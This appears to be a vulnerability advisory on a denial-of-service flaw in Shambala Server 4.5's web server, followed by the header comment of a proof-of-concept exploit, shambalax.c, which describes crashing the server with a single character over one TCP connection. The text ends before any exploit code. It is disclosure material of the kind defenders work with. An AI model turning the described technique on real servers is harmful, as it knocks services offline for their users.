Shambala Server is a FTP, Web, and Chat server targeted for the Small Office/Home Office user.
It has been reported that Shambala Server's web server may be prone to a denial of service vulnerability. The denial of service condition is a result of the web server failing to handle malformed requests.
/******** shambalax.c ***********************************************************
* *
* PoC exploit for the DoS in Shambala Server 4.5 *
* as described in Telhack 026 Inc. S.A. #3 (BID:4897). *
* I have also built in a function that exploits another *
* DoS condition found by zillion a long long time ago. *
* Also refined my DoS a little bit by just using one *
* char that mess up Shambala. *
* *
* By: Daniel Nystr�m (excE) <exce@netwinder.nu> *
* *
* *
* Notes: *
* I found that zillion had only been almost right, it *
* is not opening a lot of TCP connection that generates *
* the DoS that he found, it is just one TCP connection, *
* but it certainly has to do with bad connection handling *
* by Shambala. *
* *
